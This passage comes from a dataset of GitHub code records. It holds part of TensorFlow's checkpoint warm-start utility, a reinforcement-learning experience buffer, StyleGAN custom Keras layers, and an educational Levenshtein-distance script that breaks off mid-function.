If None,\n      missing entries will be zero-initialized.\n\n  Raises:\n    ValueError: If required args are not provided.\n  \"\"\"\n  if not (current_vocab_path and current_vocab_size and prev_ckpt and\n          prev_vocab_path):\n    raise ValueError(\"Invalid args: Must provide all of [current_vocab_path, \"\n                     \"current_vocab_size, prev_ckpt, prev_vocab_path}.\")\n  if _is_variable(var):\n    var = [var]\n  elif isinstance(var, list) and all(_is_variable(v) for v in var):\n    var = var\n  elif isinstance(var, variables_lib.PartitionedVariable):\n    var = var._get_variable_list()\n  else:\n    raise TypeError(\n        \"var MUST be one of the following: a Variable, list of Variable or \"\n        \"PartitionedVariable, but is {}\".format(type(var)))\n\n  if not prev_tensor_name:\n    # Assume tensor name remains the same.\n    prev_tensor_name = _infer_var_name(var)\n\n  for v in var:\n    v_shape = v.get_shape().as_list()\n    slice_info = v._get_save_slice_info()\n    partition_info = None\n    if slice_info:\n      partition_info = variable_scope._PartitionInfo(\n          full_shape=slice_info.full_shape,\n          var_offset=slice_info.var_offset)\n\n    # TODO(eddz): Support cases where class vocabularies need remapping too.\n    init = checkpoint_ops._load_and_remap_matrix_initializer(\n        ckpt_path=checkpoint_utils._get_checkpoint_filename(prev_ckpt),\n        old_tensor_name=prev_tensor_name,\n        new_row_vocab_size=current_vocab_size,\n        new_col_vocab_size=v_shape[1],\n        old_row_vocab_size=previous_vocab_size,\n        old_row_vocab_file=prev_vocab_path,\n        new_row_vocab_file=current_vocab_path,\n        old_col_vocab_file=None,\n        new_col_vocab_file=None,\n        num_row_oov_buckets=current_oov_buckets,\n        num_col_oov_buckets=0,\n        initializer=initializer)\n    new_init_val = ops.convert_to_tensor(\n        init(shape=v_shape, partition_info=partition_info))\n    v._initializer_op = state_ops.assign(v, new_init_val)\n# pylint: enable=protected-access\n\n\n@tf_export(\"train.warm_start\")\ndef warm_start(ckpt_to_initialize_from,\n               vars_to_warm_start=\".*\",\n               var_name_to_vocab_info=None,\n               var_name_to_prev_var_name=None):\n  \"\"\"Warm-starts a model using the given settings.\n\n  If you are using a tf.estimator.Estimator, this will automatically be called\n  during training.\n\n  Args:\n    ckpt_to_initialize_from: [Required] A string specifying the directory with\n      checkpoint file(s) or path to checkpoint from which to warm-start the\n      model parameters.\n    vars_to_warm_start: [Optional] A regular expression that captures which\n      variables to warm-start (see tf.get_collection).  Defaults to `'.*'`,\n      which warm-starts all variables.  If `None` is explicitly given, only\n      variables specified in `var_name_to_vocab_info` will be warm-started.\n    var_name_to_vocab_info: [Optional] Dict of variable names (strings) to\n      VocabInfo. The variable names should be \"full\" variables, not the names\n      of the partitions.  If not explicitly provided, the variable is assumed to\n      have no vocabulary.\n    var_name_to_prev_var_name: [Optional] Dict of variable names (strings) to\n      name of the previously-trained variable in `ckpt_to_initialize_from`. If\n      not explicitly provided, the name of the variable is assumed to be same\n      between previous checkpoint and current model.\n  Raises:\n    ValueError: If the WarmStartSettings contains prev_var_name or VocabInfo\n      configuration for variable names that are not used.  This is to ensure\n      a stronger check for variable configuration than relying on users to\n      examine the logs.\n  \"\"\"\n  if var_name_to_vocab_info is None:\n    var_name_to_vocab_info = {}\n  if var_name_to_prev_var_name is None:\n    var_name_to_prev_var_name = {}\n  logging.info(\"Warm-starting from: %s\", (ckpt_to_initialize_from,))\n  # We have to deal with partitioned variables, since get_collection flattens\n  # out the list.\n  grouped_variables = {}\n  # Both vars_to_warm_start = '.*' and\n  # vars_to_warm_start = None will match everything here.\n  for v in ops.get_collection(\n      # TODO(eddz): Allow for different collections here (to support\n      # warm-starting accumulators).\n      ops.GraphKeys.TRAINABLE_VARIABLES,\n      scope=vars_to_warm_start):\n    if not isinstance(v, list):\n      var_name = _infer_var_name([v])\n    else:\n      var_name = _infer_var_name(v)\n    grouped_variables.setdefault(var_name, []).append(v)\n\n  # Keep track of which var_names in var_name_to_prev_var_name and\n  # var_name_to_vocab_info have been used.  Err on the safer side by throwing an\n  # exception if any are unused by the end of the loop.  It is easy to misname\n  # a variable during this configuration, in which case without this check, we\n  # would fail to warm-start silently.\n  prev_var_name_used = set()\n  vocab_info_used = set()\n\n  for var_name, variable in six.iteritems(grouped_variables):\n    prev_var_name = var_name_to_prev_var_name.get(var_name)\n    if prev_var_name:\n      prev_var_name_used.add(var_name)\n    vocab_info = var_name_to_vocab_info.get(var_name)\n    if vocab_info:\n      vocab_info_used.add(var_name)\n      logging.info(\n          \"Warm-starting variable: {}; current_vocab: {} current_vocab_size: {}\"\n          \" prev_vocab: {} prev_vocab_size: {} current_oov: {} prev_tensor: {}\"\n          \" initializer: {}\".format(\n              var_name,\n              vocab_info.new_vocab,\n              vocab_info.new_vocab_size,\n              vocab_info.old_vocab,\n              (vocab_info.old_vocab_size if vocab_info.old_vocab_size > 0\n               else \"All\"),\n              vocab_info.num_oov_buckets,\n              prev_var_name or \"Unchanged\",\n              vocab_info.backup_initializer or \"zero-initialized\"))\n      _warm_start_var_with_vocab(\n          variable,\n          current_vocab_path=vocab_info.new_vocab,\n          current_vocab_size=vocab_info.new_vocab_size,\n          prev_ckpt=ckpt_to_initialize_from,\n          prev_vocab_path=vocab_info.old_vocab,\n          previous_vocab_size=vocab_info.old_vocab_size,\n          current_oov_buckets=vocab_info.num_oov_buckets,\n          prev_tensor_name=prev_var_name,\n          initializer=vocab_info.backup_initializer)\n    else:\n      # For the special value of vars_to_warm_start = None,\n      # we only warm-start variables with explicitly specified vocabularies.\n      if vars_to_warm_start:\n        logging.info(\"Warm-starting variable: {}; prev_var_name: {}\".format(\n            var_name, prev_var_name or \"Unchanged\"))\n        # Because we use a default empty list in grouped_variables, single\n        # unpartitioned variables will be lists here, which we rectify in order\n        # for init_from_checkpoint logic to work correctly.\n        if len(variable) == 1:\n          variable = variable[0]\n        _warm_start_var(variable, ckpt_to_initialize_from, prev_var_name)\n\n  prev_var_name_not_used = set(\n      var_name_to_prev_var_name.keys()) - prev_var_name_used\n  vocab_info_not_used = set(var_name_to_vocab_info.keys()) - vocab_info_used\n\n  if prev_var_name_not_used:\n    raise ValueError(\n        \"You provided the following variables in \"\n        \"var_name_to_prev_var_name that were not used: \"\n        \"{0}.  Perhaps you misspelled them?  Here is the list of viable \"\n        \"variable names: {1}\".format(prev_var_name_not_used,\n                                     grouped_variables.keys()))\n  if vocab_info_not_used:\n    raise ValueError(\n        \"You provided the following variables in \"\n        \"var_name_to_vocab_info that were not used: {0}. \"\n        \" Perhaps you misspelled them?  Here is the list of viable variable \"\n        \"names: {1}\".format(vocab_info_not_used, grouped_variables.keys()))\n","repo_name":"ryfeus/lambda-packs","sub_path":"Keras_tensorflow_nightly/source2.7/tensorflow/python/training/warm_starting_util.py","file_name":"warm_starting_util.py","file_ext":"py","file_size_in_byte":14656,"program_lang":"python","lang":"en","doc_type":"code","stars":1104,"dataset":"github-code","pt":"22"}
+{"seq_id":"74820949815","text":"from collections import deque\nimport logging\nimport os\nimport numpy as np\nimport pandas as pd\nimport torch\n\nfrom svdtrainer.state import State\nfrom svdtrainer.actions import Actions\nfrom svdtrainer.config import Config\n\n\nclass ExperienceBuffer:\n    def __init__(self, capacity: int):\n        self.buffer = deque(maxlen=capacity)\n\n    def __len__(self):\n        return len(self.buffer)\n\n    def append(self, state: torch.Tensor, action: int, reward: float, done: bool, next_state: torch.Tensor):\n        self.buffer.append((state, action, reward, done, next_state))\n\n    def get_batch(self, batch_size):\n        indices = np.random.choice(len(self.buffer), batch_size, replace=False)\n        states, actions, rewards, dones, next_states = zip(*[self.buffer[idx] for idx in indices])\n        return torch.stack(states), torch.tensor(actions), torch.tensor(rewards, dtype=torch.float32), torch.tensor(dones), torch.stack(next_states)\n\n\nclass DataCache:\n    def __init__(self, csv_file: str):\n        self.logger = logging.getLogger(self.__class__.__name__)\n        self.csv_file = csv_file\n        self.csv_len = 0\n        if not os.path.isfile(path=self.csv_file):\n            self.create_csv()\n\n    def create_csv(self):\n        tmp_df = pd.DataFrame(\n            columns=['f1', 'size', 'step', 'dec', 'action', 'done',\n                     'n_f1', 'n_size', 'n_step', 'n_dec']\n        )\n        tmp_df.to_csv(self.csv_file)\n        self.logger.info('CSV file created successfully.')\n\n    def read_csv(self, config: Config, buffer: ExperienceBuffer):\n        action_indices = [a.value for a in config.actions.possible_actions]\n        tmp_df = pd.read_csv(self.csv_file, index_col=0)\n        self.csv_len = len(tmp_df)\n        n_state = None\n        for i in range(self.csv_len):\n            series = tmp_df.iloc[i]\n\n            last_state = State(series['f1'], series['size'], series['step'], series['dec'])\n            next_state = State(series['n_f1'], series['n_size'], series['n_step'], series['n_dec'])\n            reward = config.reward(next_state) if series['done'] else 0\n\n            if n_state is None:\n                n_state = config.state(state=last_state)\n            else:\n                n_state.update(state=last_state)\n\n            state = n_state.to_tensor()\n            n_state.update(next_state)\n\n            if series['action'] in action_indices:\n                buffer.append(\n                    state=state,\n                    action=config.actions.get_index_by_value(action=Actions(series['action'])),\n                    reward=reward,\n                    done=series['done'],\n                    next_state=n_state.to_tensor()\n                )\n\n            if series['done']:\n                n_state = None\n        self.logger.info(f'Successfully read {len(buffer)} records.')\n\n    def write_experience(\n            self,\n            state: State,\n            action: Actions,\n            done: bool,\n            next_state: State\n    ):\n        tmp_df = pd.DataFrame(data=[[*state, action.value, done, *next_state]], index=[self.csv_len])\n        tmp_df.to_csv(self.csv_file, mode='a', header=False)\n        self.csv_len += 1\n","repo_name":"N-31V/svd_rl","sub_path":"svdtrainer/experience.py","file_name":"experience.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22615588987","text":"from tensorflow.python.keras import backend as K\nfrom tensorflow.python.keras import initializers\nfrom tensorflow.python.keras import regularizers\nfrom tensorflow.python.keras import constraints\nfrom tensorflow.python.keras.engine.base_layer import Layer\n\nfrom tensorflow.python.ops import nn\nfrom tensorflow.python.ops import math_ops\n\nclass ScaleAddToConst(Layer):\n    \"\"\" This layer returns the sum of the scaled input and the constant variable.\n    The constant variable is 4D tensor, (1, rows, cols, channels).\n    Usually this layer is used as Input layer of 2D convolution in StyleGAN.\n\n    Arguments:\n    const_shape: tuple/list of n integers,\n        the shape of the constant variable without batch size.\n    const_initializer: An initializer for the constant variable.\n    scale_initializer: An initializer for the scale weights.\n    trainable: Boolean, if `True` the weights of this layer will be marked as\n      trainable (and listed in `layer.trainable_weights`).\n    name: A string, the name of the layer.\n\n    Input shape:\n    3D tensor with shape: `(batch_size, rows, cols)`\n    or 4D tensor with shape: `(batch_size, rows, cols, 1)`.\n    Rows and cols must be equal to ones of the constant variable.\n\n    Output shape:\n    4D tensor with shape: `(batch_size, rows, cols, channels)`.\n    \"\"\"\n\n    def __init__(self, const_shape,\n                 const_initializer='ones',\n                 scale_initializer='zeros',\n                 trainable=True,\n                 name=None,\n                 **kwargs):\n        super(ScaleAddToConst, self).__init__(\n            trainable=trainable,\n            name=name,\n            **kwargs)\n        self.const_shape = (1,) + const_shape\n        self.const_initializer = initializers.get(const_initializer)\n        self.scale_initializer = initializers.get(scale_initializer)\n\n    def build(self, input_shape):\n        assert input_shape[1] == self.const_shape[1]\n        assert input_shape[2] == self.const_shape[2]\n        self.scale = self.add_weight(\n            name='scale',\n            shape=(1, 1, 1, self.const_shape[-1]),\n            initializer=self.scale_initializer,\n            trainable=True,\n            dtype=self.dtype)\n        self.const = self.add_weight(\n            name='const',\n            shape=self.const_shape,\n            initializer=self.const_initializer,\n            trainable=True,\n            dtype=self.dtype)\n        self.build = True\n\n    def call(self, inputs):\n        if len(inputs.shape) == 3:\n            inputs = K.expand_dims(inputs, axis=-1)\n        return self.const + self.scale * inputs\n\nclass ScaleAdd(Layer):\n    \"\"\" This layer returns the sum of 1st input and scaled 2nd input.\n    Usually this layer is used as middle layer in StyleGAN.\n\n    Arguments:\n    scale_initializer: An initializer for the scale weights.\n    trainable: Boolean, if `True` the weights of this layer will be marked as\n      trainable (and listed in `layer.trainable_weights`).\n    name: A string, the name of the layer.\n\n    Input shape:\n    tuple/list of 2 tensors.\n    1st tensor: 4D tensor with shape: `(batch_size, rows, cols, channels)`.\n    2nd tensor: 3D tensor with shape: `(batch_size, rows, cols)`\n        or 4D tensor with shape: `(batch_size, rows, cols, 1)`.\n\n    Output shape:\n    4D tensor with shape: `(batch_size, rows, cols, channels)`.\n    \"\"\"\n\n    def __init__(self, scale_initializer='zeros',\n                 trainable=True,\n                 name=None,\n                 **kwargs):\n        super(ScaleAdd, self).__init__(\n            trainable=trainable,\n            name=name,\n            **kwargs)\n        self.scale_initializer = initializers.get(scale_initializer)\n\n    def build(self, input_shape):\n        if not isinstance(input_shape, list) and not isinstance(input_shape, tuple):\n            raise ValueError('A ScaleAdd layer should be called '\n                             'on a list/tuple of inputs.')\n        if len(input_shape) < 2:\n            raise ValueError('A ScaleAdd layer should be called '\n                             'on a list/tuple of 2 inputs. '\n                             'Got ' + str(len(input_shape)) + ' inputs.')\n        input1_shape, input2_shape = input_shape\n        self.scale = self.add_weight(\n            name='scale',\n            shape=(1, 1, 1, input1_shape[-1]),\n            initializer=self.scale_initializer,\n            trainable=True,\n            dtype=self.dtype)\n        self.build = True\n\n    def call(self, inputs):\n        if not isinstance(inputs, list) and not isinstance(inputs, tuple):\n            raise ValueError('A ScaleAdd layer should be called '\n                             'on a list/tuple of inputs.')\n        if len(inputs) != 2:\n            raise ValueError('A ScaleAdd layer should be called '\n                             'on a list/tuple of 2 inputs. '\n                             'Got ' + str(len(inputs)) + ' inputs.')\n        x1, x2 = inputs\n        if len(x2.shape) == 3:\n            x2 = K.expand_dims(x2, axis=-1)\n        return x1 + self.scale * x2\n\nclass AdaIN(Layer):\n    \"\"\" AdaIN layer. Usually used as middle layer in StyleGAN.\n\n    Arguments:\n    epsilon: Epsilon value for division.\n    trainable: Boolean, if `True` the weights of this layer will be marked as\n      trainable (and listed in `layer.trainable_weights`).\n    name: A string, the name of the layer.\n\n    Input shape:\n    tuple/list of 2 tensors: `(x, weight)`.\n    x: N-D tensor with shape: `(batch_size, ...)`.\n    weight: (N + 1)-D tensor with shape: `(batch_size, 2, ...)`.\n\n    Output shape:\n    N-D tensor with same shape as x.\n    \"\"\"\n\n    def __init__(self, epsilon=1.0e-8, name=None, **kwargs):\n        super(AdaIN, self).__init__(name=name, **kwargs)\n        self.epsilon = epsilon\n\n    def build(self, input_shape):\n        if not isinstance(input_shape, list) and not isinstance(input_shape, tuple):\n            raise ValueError('An AdaIN layer should be called '\n                             'on a list/tuple of inputs.')\n        if len(input_shape) != 2:\n            raise ValueError('An AdaIN layer should be called '\n                             'on a list/tuple of 2 inputs. '\n                             'Got ' + str(len(input_shape)) + ' inputs.')\n        x_shape, w_shape = input_shape\n        assert len(w_shape) == len(x_shape) + 1\n        assert w_shape[1] == 2\n        self.build =True\n\n    def _instance_normalize(self, x):\n        x_dtype = x.dtype\n        x -= math_ops.reduce_mean(x, axis=[1, 2], keepdims=True)\n        epsilon = K.constant(self.epsilon, dtype=x_dtype, name='epsilon')\n        x *= math_ops.rsqrt(\n            math_ops.reduce_mean(x ** 2, axis=[1, 2], keepdims=True) + epsilon)\n        return x\n\n    def call(self, inputs):\n        if not isinstance(inputs, list) and not isinstance(inputs, tuple):\n            raise ValueError('An AdaIN layer should be called '\n                             'on a list/tuple of inputs.')\n        if len(inputs) != 2:\n            raise ValueError('An AdaIN layer should be called '\n                             'on a list/tuple of 2 inputs. '\n                             'Got ' + str(len(inputs)) + ' inputs.')\n        x, w = inputs\n        w_s = w[:, 0]\n        w_b = w[:, 1]\n        return w_s * self._instance_normalize(x) + w_b\n\nclass AddBias2D(Layer):\n    \"\"\" Add bias layer for 4D tensor.\n    Same as adding bias process of Conv2D layer.\n\n    Arguments:\n    bias_initializer: An initializer for the bias vector. If None, the default\n        initializer will be used.\n    bias_regularizer: Optional regularizer for the bias vector.\n    bias_constraint: Optional projection function to be applied to the\n        bias after being updated by an `Optimizer`.\n    trainable: Boolean, if `True` the weights of this layer will be marked as\n      trainable (and listed in `layer.trainable_weights`).\n    name: A string, the name of the layer.\n\n    Input shape:\n    4D tensor with shape: `(batch_size, rows, cols, channels)`.\n\n    Output shape:\n    4D tensor with same shape as input.\n    \"\"\"\n\n    def __init__(self,\n                 bias_initializer='zeros',\n                 bias_regularizer=None,\n                 bias_constraint=None,\n                 name=None,\n                 **kwargs):\n        super(AddBias2D, self).__init__(name=name, **kwargs)\n        self.bias_initializer = initializers.get(bias_initializer)\n        self.bias_regularizer = regularizers.get(bias_regularizer)\n        self.bias_constraint = constraints.get(bias_constraint)\n\n    def build(self, input_shape):\n        if len(input_shape) != 4:\n            raise ValueError('An AddBias2D layer should be called '\n                             'on a 4D Tensor. '\n                             'Got ' + str(len(input_shape)) + 'D Tensor.')\n        self.bias = self.add_weight(\n            name='bias',\n            shape=(input_shape[-1],),\n            initializer=self.bias_initializer,\n            regularizer=self.bias_regularizer,\n            constraint=self.bias_constraint,\n            trainable=True,\n            dtype=self.dtype)\n        self.build = True\n\n    def call(self, inputs):\n        if len(inputs.shape) != 4:\n            raise ValueError('An AddBias2D layer should be called '\n                             'on a 4D Tensor. '\n                             'Got ' + str(len(inputs.shape)) + 'D Tensor.')\n        outputs = nn.bias_add(inputs, self.bias, data_format='NHWC')\n        return outputs\n","repo_name":"mgmk2/StyleGAN","sub_path":"src/layers/scale_add.py","file_name":"scale_add.py","file_ext":"py","file_size_in_byte":9412,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"}
+{"seq_id":"36211483915","text":"\"\"\"\n=====================================================================\nNAME:       LD.py  (C) 2018, 2019\n\nPURPOSE:    Calculate the Levenshtein Distance (LD) between two strings.\n            The LD is the minimum numbers of edits (insert, delete, or\n            substitute) to transform one string into another.\n\n            The code calculates the LD and the minimum cost path (MCP)\n            through the LD matrix.  The MCP dictates the step-by-step\n            edits to make the transformation.  The code also shows the\n            transformation of the source string into the target.\n\n            This code is for educational and demonstration purposes\n            only to help anyone interested understand the algorithm and\n            the inner workings of the transformations.  If you really\n            need to use Levenshtein distances in your code, use the\n            Levenshtein Python library.\n\nAUTHOR:     MSRoth\n\nLAST UPDATE:  2019-02-12 -- fixed bug in working string insert operation\n                         -- added calculation for Levenshtein similarity ratio\n\nUSAGE:      >python LD.py\n\nOUTPUT:\n            Final Distance Matrix:\n               #  f  l  a  w\n            # [0, 1, 2, 3, 4]\n            l [1, 1, 1, 2, 3]\n            a [2, 2, 2, 1, 2]\n            w [3, 3, 3, 2, 1]\n            n [4, 4, 4, 3, 2]\n\n            Minimum Path Matrix:\n               #  f  l  a  w\n            # [0, 1,  ,  ,  ]\n            l [ ,  , 1,  ,  ]\n            a [ ,  ,  , 1,  ]\n            w [ ,  ,  ,  , 1]\n            n [ ,  ,  ,  , 2]\n\n            Final Operations Matrix:\n               #  f  l  a  w\n            # [0, I,  ,  ,  ]\n            l [ ,  , S,  ,  ]\n            a [ ,  ,  , S,  ]\n            w [ ,  ,  ,  , S]\n            n [ ,  ,  ,  , D]\n\n            Sequential Edits:\n            lawn\n            flawn <- insert 'f' (0)\n            flawn <- substitute 'l' (1)\n            flawn <- substitute 'a' (2)\n            flawn <- substitute 'w' (3)\n            flaw <- delete 'n' (4)\n\n            Levenshtein Distance (LD) between 'lawn' and 'flaw' is: 2\n\nCOMMENTS:\n            - The cost of each edit is fixed at 1.  Radically different\n              results are obtained if this changes.\n            - www.python-course.eu/levenshtein_distance.php\n            - www.let.rug.nl/kleiweg/lev/\n            - web.stanford.edu/class/cs124/lec/med.pdf\n            - stackoverflow.com/questions/5849139/levenshtein-distance-inferring-the-edit-operations-from-the-matrix\n            - https://www.datacamp.com/community/tutorials/fuzzy-string-python\n\n=====================================================================\n\"\"\"\n# global constants\n_string1 = \"lawn\"\n_string2 = \"flaw\"\n_del_cost = 1\n_ins_cost = 1\n_sub_cost = 1\n_debug = 1\n\n\ndef get_user_input():\n    \"\"\"\n    Get input from user.\n\n    :return: str:source, str:target, int:debug\n    \"\"\"\n\n    # note:  input forced to lower case.  Case effects LD calculations\n    string1 = input(\"Enter first word (source) [\" + str(_string1) + \"]: \").strip().lower()\n    if not string1:\n        string1 = _string1\n    string2 = input(\"Enter second word (target) [\" + str(_string2) + \"]: \").strip().lower()\n    if not string2:\n        string2 = _string2\n    debug = input(\"Enter level of output (0, 1, 2) [\" + str(_debug) + \"]: \").strip()\n    if not debug:\n        debug = _debug\n    if int(debug) > 2:\n        debug = 2\n    if int(debug) < 0:\n        debug = 0\n\n    return string1, string2, int(debug),\n\n\ndef print_matrix(s, t, m, p=2):\n    \"\"\"\n    Print the matrix with the target string on top and the source\n    string down the side.\n\n    :param s: source string\n    :param t: target string\n    :param m: matrix to print (list of lists)\n    :param p: padding factor, defaults to 2\n\n    :return: str:output\n    \"\"\"\n    rows = len(m)\n    cols = len(m[0])\n    output = \"  \"\n\n    # print target word across top of matrix\n    output += \" #\" + \" \" * p\n    for i in range(cols - 1):\n        output += str(t[i]) + \" \" * p\n    output += \"\\n\"\n\n    # print source word vertically before each row\n    for r in range(rows):\n        if r > 0:\n            output += str(s[r - 1]) + \" [\"\n        else:\n            output += \"# [\"\n\n        # print matrix rows\n        for c in range(cols):\n            output += str(m[r][c])\n\n            if c == cols - 1:\n                output += \"]\\n\"\n            else:\n                output += \", \"\n\n    print(output)\n    return output\n\n\ndef find_min_path(s, t, dist):\n    \"\"\"\n    Find minimum path through cost matrix, working backwards from (r,c) -> (0,0).\n    Populate a sparse matrix with the cost values representing the min path.\n\n    :param s: source string\n    :param t: target string\n    :param dist: LD matrix (list of lists)\n\n    :return: list of lists:sparse_matrix\n\n        For each \"backward\" step, consider the 3 cells directly adjacent to the current\n        cell   (in the left, top or left+top directions)\n\n        1.\n        If the value in the diagonal cell is smaller or equal to the\n        values found in the other two cells\n        AND\n        If this is same or 1 minus the value of the current cell then\n        add a SUBSTITUTION operation\n\n        2.\n        Elseif the value in the cell to the left is smaller or equal to the value of\n        the cell above current cell then add an INSERTION\n\n        3.\n        Else take the cell above, add a DELETION operation\n    \"\"\"\n\n    rows = len(dist) - 1\n    cols = len(dist[0]) - 1\n    col = cols\n    row = rows\n    pos_str = \"Position: (row={} col={}) -> (row={} col={})\"\n    cst_str = \"Cost: {}\"\n    prev_row = row\n    prev_col = col\n\n    # init sparse path matrix\n    sparse_path = [[\" \" for x in range(cols + 1)] for x in range(rows + 1)]\n    sparse_path[0][0] = \"0\"\n\n    # start with operation at (rows, cols) and work backwards\n    sparse_path[rows][cols] = dist[rows][cols]\n\n    if verbose == 2:\n        print()\n        print(\"Initial Minimum Path Matrix:\")\n        print_matrix(s, t, sparse_path)\n\n    while True:\n\n        # bail out if we are in the corner\n        if row == 0 and col == 0:\n            break\n\n        # if we are not at a matrix boundary\n        if row != 0 and col != 0:  # if at left edge or top row, cannot move diagonally\n\n            # diagonal\n            if (dist[row - 1][col - 1] == min(dist[row - 1][col],\n                                              dist[row][col - 1],\n                                              dist[row - 1][col - 1])) and (dist[row - 1][col - 1] == dist[row][col] or dist[row - 1][col - 1] == dist[row][col] - 1):\n                sparse_path[row - 1][col - 1] = dist[row - 1][col - 1]\n                temp_cost = dist[row - 1][col - 1]\n\n                # move current cell\n                prev_row = row\n                prev_col = col\n                if col > 0:\n                    col -= 1\n                if row > 0:\n                    row -= 1\n\n                if verbose == 2:\n                    print(pos_str.format(str(prev_row), str(prev_col), str(row), str(col)))\n                    print(cst_str.format(temp_cost))\n                    print()\n\n            # left\n            elif dist[row][col - 1] <= dist[row][col]:\n                sparse_path[row][col - 1] = dist[row][col - 1]\n                temp_cost = dist[row][col - 1]\n\n                # move current cell\n                prev_row = row\n                prev_col = col\n                if col > 0:\n                    col -= 1\n\n                if verbose == 2:\n                    print(pos_str.format(str(prev_row), str(prev_col), str(row), str(col)))\n                    print(cst_str.format(temp_cost))\n                    print()\n\n            # above\n            else:\n                sparse_path[row - 1][col] = dist[row - 1][col]\n                temp_cost = dist[row - 1][col]\n\n                # move current cell\n                prev_row = row\n                prev_col = col\n                if row > 0:\n                    row -= 1\n\n                if verbose == 2:\n                    print(pos_str.format(str(prev_row), str(prev_col), str(row), str(col)))\n                    print(cst_str.format(temp_cost))\n                    print()\n\n        # if at matrix edge, can only move up\n        elif col == 0:\n            # above\n            sparse_path[row - 1][col] = dist[row - 1][col]\n            temp_cost = dist[row - 1][col]\n\n            # move current cell\n            prev_row = row\n            prev_col = col\n            if row > 0:\n                row -= 1\n\n            if verbose == 2:\n                print(pos_str.format(str(prev_row), str(prev_col), str(row), str(col)))\n                print(cst_str.format(temp_cost))\n                print()\n\n        # must be at row boundary, can only move left\n        else:\n            # left\n            if dist[row][col - 1] <= dist[row][col]:\n                sparse_path[row][col - 1] = dist[row][col - 1]\n            temp_cost = dist[row][col - 1]\n\n            # move current cell\n            prev_row = row\n            prev_col = col\n            if col > 0:\n                col -= 1\n\n            if verbose == 2:\n                print(pos_str.format(str(prev_row), str(prev_col), str(row), str(col)))\n                print(cst_str.format(temp_cost))\n                print()\n\n        # print matrix\n        if verbose == 2:\n            print_matrix(s, t, sparse_path)\n\n    return sparse_path\n\n\ndef build_ops_matrix_and_ws(s, t, min_m):\n    \"\"\"\n    Build a sparse matrix containing the operations associated with each\n    cost in the min path matrix.  At the same time, manipulates the source\n    and target strings to demonstrate edits.\n\n    :param s: source string\n    :param t: target string\n    :param min_m: sparse min cost matrix\n\n    :return: list:edits, list of lists:ops\n\n        This logic works from (0,0) -> (rows,cols) looking for values in\n        adjacent cells as it traverses the min cost matrix.  When it finds\n        values, it updates the ops matrix with the edit operation that\n        produced the cost.\n\n    \"\"\"\n\n    # init edit vars\n    working_string = s\n    edits = [s]\n\n    rows = len(min_m) - 1\n    cols = len(min_m[0]) - 1\n\n    # init ops matrix with spaces in each cell, except (0,0)\n    ops = [[\" \" for x in range(cols + 1)] for x in range(rows + 1)]\n    ops[0][0] = \"0\"\n\n    col = 0\n    row = 0\n\n    while True:\n\n        # bail out if we are in the corner\n        if row == rows and col == cols:\n            break\n\n        # we are not at a matrix boundary\n        if row != rows and col != cols:\n\n            # down - delete\n            if str(min_m[row + 1][col]).strip() != \"\":\n                ops[row + 1][col] = \"D\"\n\n                # manipulate working string with implied edit ops\n                if col == 0:\n                    working_string = working_string[1:]\n                elif col == cols:\n                    working_string = working_string[:col]\n                else:\n                    working_string = working_string[:col] + working_string[col + 1:]\n                edits.append(working_string + \" <- delete '\" + str(s[row]) + \"' pos: \" + str(col))\n\n                # move current cell\n                if row < rows:\n                    row += 1\n\n            # right - insert\n            elif str(min_m[row][col + 1]).strip() != \"\":\n                ops[row][col + 1] = \"I\"\n\n                # manipulate working string with implied edit ops\n                if col == 0:\n                    working_string = str(t[col]) + working_string\n                elif col == cols:\n                    working_string = working_string + str(t[col])\n                else:\n                    working_string = working_string[:row - 1] + str(t[col]) + working_string[row - 1:]\n                edits.append(working_string + \" <- insert '\" + str(t[col]) + \"' pos: \" + str(col))\n\n                # move current cell\n                if col < cols:\n                    col += 1\n\n            # diagonal - sub\n            else:\n                ops[row + 1][col + 1] = \"S\"\n\n                # manipulate working string with implied edit ops\n                if col == cols:\n                    working_string = working_string[:row] + str(t[col])\n                else:\n                    working_string = working_string[:col] + str(t[col]) + working_string[col + 1:]\n                edits.append(working_string + \" <- substitute '\" + str(t[col]) + \"' pos: \" + str(col))\n\n                # move current cell\n                if row < rows:\n                    row += 1\n                if col < cols:\n                    col += 1\n\n        # if at matrix edge, can only move down\n        elif col == cols:\n            # down - delete\n            if str(min_m[row + 1][col]).strip() != \"\":\n                ops[row + 1][col] = \"D\"\n\n                # manipulate working string with implied edit ops\n                if row == 0:\n                    working_string = working_string[1:]\n                elif col == cols:\n                    working_string = working_string[:col]\n                else:\n                    working_string = working_string[:row] + working_string[row + 1:]\n                edits.append(working_string + \" <- delete '\" + str(s[row]) + \"' pos: \" + str(col))\n\n                # update current cell\n                if row < rows:\n                    row += 1\n\n        # must be at row boundary, can only move right\n        else:\n            # right - insert\n            if str(min_m[row][col + 1]).strip() != \"\":\n                ops[row][col + 1] = \"I\"\n\n                # manipulate working string with implied edit ops\n                if col == 0:\n                    working_string = str(t[col]) + working_string\n                elif col == cols:\n                    working_string = working_string + str(t[col])\n                else:\n                    working_string = working_string[:row] + str(t[col]) + working_string[row:]\n                edits.append(working_string + \" <- insert '\" + str(t[col]) + \"' pos: \" + str(col))\n\n                # update current cell\n                if col < cols:\n                    col += 1\n\n    return edits, ops\n\n\ndef find_ld(s, t, c=(1, 1, 1)):\n    \"\"\"\n    This code calculates the LD cost matrix.  Most of this code was adopted from\n    www.python-course.eu/levenshtein_distance.php.\n\n    :param s: source string\n    :param t: target string\n    :param c: cost tuple [delete, insert, sub]\n\n    :return: int:ld, list of lists:dist\n\n        ldist is the Levenshtein distance between the strings s and t.\n        For all i and j, dist[i,j] will contain the Levenshtein\n        distance between the first i characters of s and the\n        first j characters of t\n\n        costs: a tuple or a list with three integers (d, i, s)\n               where d defines the costs for a deletion\n                     i defines the costs for an insertion and\n                     s defines the costs for a substitution\n\n        a horizontal move is an insertion of a letter from the 't string'\n        a vertical move is a deletion of a letter from the 's string'\n        a diagonal move is either:\n            a no-operation (both letters at respective positions are the same)\n            a substitution (letters at respective positions are distinct)\n    \"\"\"\n\n    # output string templates\n    pos_str = \"Position: row={} col={}\"\n    let_str = \"Letters: {} -> {}\"\n    op_str = \"Operation: {}, Cost: {}\"\n    cst_str = \"  {} ({},{}) cost: {}  value: {}\"\n\n    # keep the shape of the matrix consistent.  The algorithm is symmetric\n    if len(s) < len(t):\n        return find_ld(t, s)\n\n    # null inputs\n    if len(t) == 0:\n        return len(s), []\n\n    rows = len(s) + 1\n    cols = len(t) + 1\n   